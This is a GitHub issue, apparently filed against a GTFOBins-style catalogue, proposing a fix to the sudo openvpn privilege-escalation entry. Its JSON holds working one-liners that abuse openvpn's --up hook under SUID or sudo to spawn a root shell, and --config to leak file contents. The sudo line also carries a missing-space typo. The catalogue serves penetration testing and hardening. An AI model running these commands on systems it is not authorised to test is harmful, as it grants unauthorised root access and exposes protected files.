Skip to content

openvpn #3

@kasem545

Description

@kasem545

sudo openvpn privilege escalation instead of --dev tun0 it should be --dev null

{
  "functions": {
    "file-read": [
      {
        "description": "The file is actually parsed and the first partial wrong line is returned in an error message.",
        "code": "openvpn --config \"[file]\"\n"
      }
    ],
    "suid": [
      {
        "code": "./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c \"sh -p\"'\n"
      },
      {
        "description": "The file is actually parsed and the first partial wrong line is returned in an error message.",
        "code": "./openvpn --config \"[file]\"\n"
      }
    ],
    "sudo": [
      {
        "code": "sudo openvpn --dev null--script-security 2 --up '/bin/sh -c sh'\n"
      },
      {
        "description": "The file is actually parsed and the first partial wrong line is returned in an error message.",
        "code": "sudo openvpn --config \"[file]\"\n"
      }
    ]
  }
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions